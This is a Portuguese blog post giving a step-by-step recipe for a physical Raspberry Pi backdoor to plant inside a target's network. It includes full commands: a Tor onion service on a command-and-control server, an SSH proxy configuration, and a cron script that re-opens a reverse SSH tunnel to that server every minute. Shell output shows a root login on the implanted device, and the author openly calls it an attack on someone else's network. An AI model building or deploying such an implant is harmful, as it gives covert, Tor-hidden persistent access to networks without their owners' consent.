Raspberry – Backdoor Fisico

Raspberry – Backdoor Fisico

A ideia era utilizar meu Raspberry que vou chamar a partir de agora apenas de RP para coisas mais interessantes agora que ele em idle, então eu pensei em começar com um hack like mrrobot onde eles implantam um backdoor físico na empresa responsável pelos backups da EvilCorp.

Porém, eu queria fazer algo diferente, queria utilizar a onion, então, resumindo, o raspberry vai funcionar com DHCP, utilizar o ssh para se conectar no C&C server, quando ele se conectar no C&C server, ele vai abrir um túnel no C&C server para a porta 22 dele. então no C&C server eu só precisaria conectar via ssh na porta que o RP abriu no meu localhost. Pode parecer dificil de entender mas se vocẽ ler 4 vezes você consegue.

Essa técnica tem alguns poréns que vou falar no final do post, então, vamos a mão na massa.

Configurando o RP

Eu queria uma distro minimal, que exigiria menos processamento do meu hardware limitado, então escolhi o Minibian, uma distribuição baseada na raspbian que é baseada no Debian.

Então, instalando normalmente o minibian no RP. Depois da instalação, vamos precisar de alguns pacotes:
apt-get install tor vim openssh-server proxy-connect rsync -y
Acredito que os três primeiros você já deve conhecer, o proxy-connect foi preciso devido a um “bug” que eu tive tentando usar o torify/torsocks, ele não permitia a conexão voltar pelo túnel, isso me fudeu por horas, até mesmo o google me fudeu retornando menos de 5 links de busca com o erro encontrado. Eu então depois de ler vários docs resolvi usar o proxy-connect, vou explicar mais a frente.

Agora com os pacotes instalados, vamos precisar gerar as chaves para se conectar no C&C server via SSH sem precisar de nenhuma senha, acho que esse método é mais fácil que usar o sshpass.

Gerando as chaves no RP

 # ssh-keygen 

Vai gerar duas chaves, a priv e a pub, copie a pub para o authorized_keys(/root/.ssh/authorized_keys) do usuário root no C&C server. Então teste a conectividade, conectando o Raspberry por ssh no C&C server, se conectar, estamos prontos para continuar.

Configurando o C&C Server

No C&C server, vai ser necessário ter o tor obviamente, o ssh rodando na porta padrão(22) e um host da onion configurado.

Vamos instalar os pacotes:

yum install rsync tor vim sshd

Eu to falando pra instalar os pacotes, mas obviamente já é para ter o sshd instalado.

A parte mais “dificil” aqui seria configurar o host na onion, é bastante simples na verdade.
No arquivo /etc/tor/torrc é aonde vocẽ precisa descomentar duas linhas e definir as portas, segue abaixo:


HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 22 127.0.0.1:22

Feito isso, reinicie o tor.

systemctl restart tor

No diretório /var/lib/tor/hidden_service vão ser criados dois arquivos, um deles é o hostname, esse é o link do seu servidor na onion, é dele que vamos precisar. Basicamente no lado servidor é só isso se não esqueci de nada.

Agora voltando ao RP.

Juntando as partes.

De volta no RP, vai ser necessário alguns ajustes devido ao problema com o torify, mas antes deixa eu te explicar o contexto. Um link da onion não é exatamente acessivel por alguns servidores se você não chegar pela onion, então não existe uma resolução de nomes e você não chegaria ao nó que leva ao servidor, é mais complexo que isso porém a ideia não é te explicar como a onion funciona.
Instalando o connect-proxy:


sudo apt-get install -y connect-proxy

Então é o seguinte, depois de dar uma googlada alienigena descobri algo louco no ssh. Você pode criar um arquivo chamado ~/.ssh/config e configurar um proxy para a conexão com um host especifico, segue abaixo:


Host hostname.onion
CheckHostIP no
Compression yes
Protocol 2
ProxyCommand connect-proxy  -S localhost:9050 hostname.onion 22

Com essa configuração, você pode executar o comando ssh root@hostname.onion normalmente e você se conecta ao seu servidor.

Beleza, agora vamos codar um script que vai ficar no crontab, eu poderia ter escrito um script mais inteligente mas eu to com preguiça, então vai ficar assim mesmo.

O script é o seguinte:


#!/bin/bash
export SOCKS5_PASSWORD=''
ssh -f -N -R 443:localhost:22 root@hostname.onion 

O código acima, vai criar um túnel na porta 443 no C&C server para o localhost na porta 22.

Agora dê permissão de execução para o script:

 chmod +x con.sh

Agora no crontab, insira a seguinte linha:


*/1 * * * * root /root/scripts/con.sh

O Código acima vai executar a cada minuto por todo os ciclos de processamento do host.

Beleza, agora com tudo isso, voltando no C&C server:


[root@cc-server centos]# netstat -tln -4
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:25            0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:9050          0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:443           0.0.0.0:*               LISTEN 

Note que a ultima linha do output acima tem a porta 443, então só nos resta conectar via localhost com ssh na porta 443.


[root@cc-server centos]# ssh root@127.0.0.1 -p 443
root@127.0.0.1's password: 
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Dec 17 18:24:43 2017 from 192.168.1.103
root@minibian:~# 

E então caimos dentro do Raspberry, a conexão é um pouco lenta porém é isso mesmo, estamos num tunel dentro de outro tunel que passa por varios outros tuneis, é um tunel recursivo alienigena.

Só uns detalhes, vamos supor que o alvo tenha um DHCP rodando usando declarações estaticas por MAC, onde só recebe IP quem tem um MAC cadastrado, ai fodeu o ataque.
Outro detalhe é, no raspberry tem a chave pro C&C Server, logo, vocẽ tem um backdoor na rede do cara e ele possivelmente tem um backdoor no seu C&C server, eu pensei em criptografar o RP porém, não iria dar certo devido pedir a senha quando dá boot.

Mas é isso, riscos existem.

Notes

Configurando o Tor -> https://www.torproject.org/docs/tor-onion-service.html.en
Utilizando ssh pelo tor -> https://www.howtoforge.com/anonymous-ssh-sessions-with-tor
SSh over tor -> http://karl-voit.at/2016/02/07/accessing-home-ssh-via-tor/

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.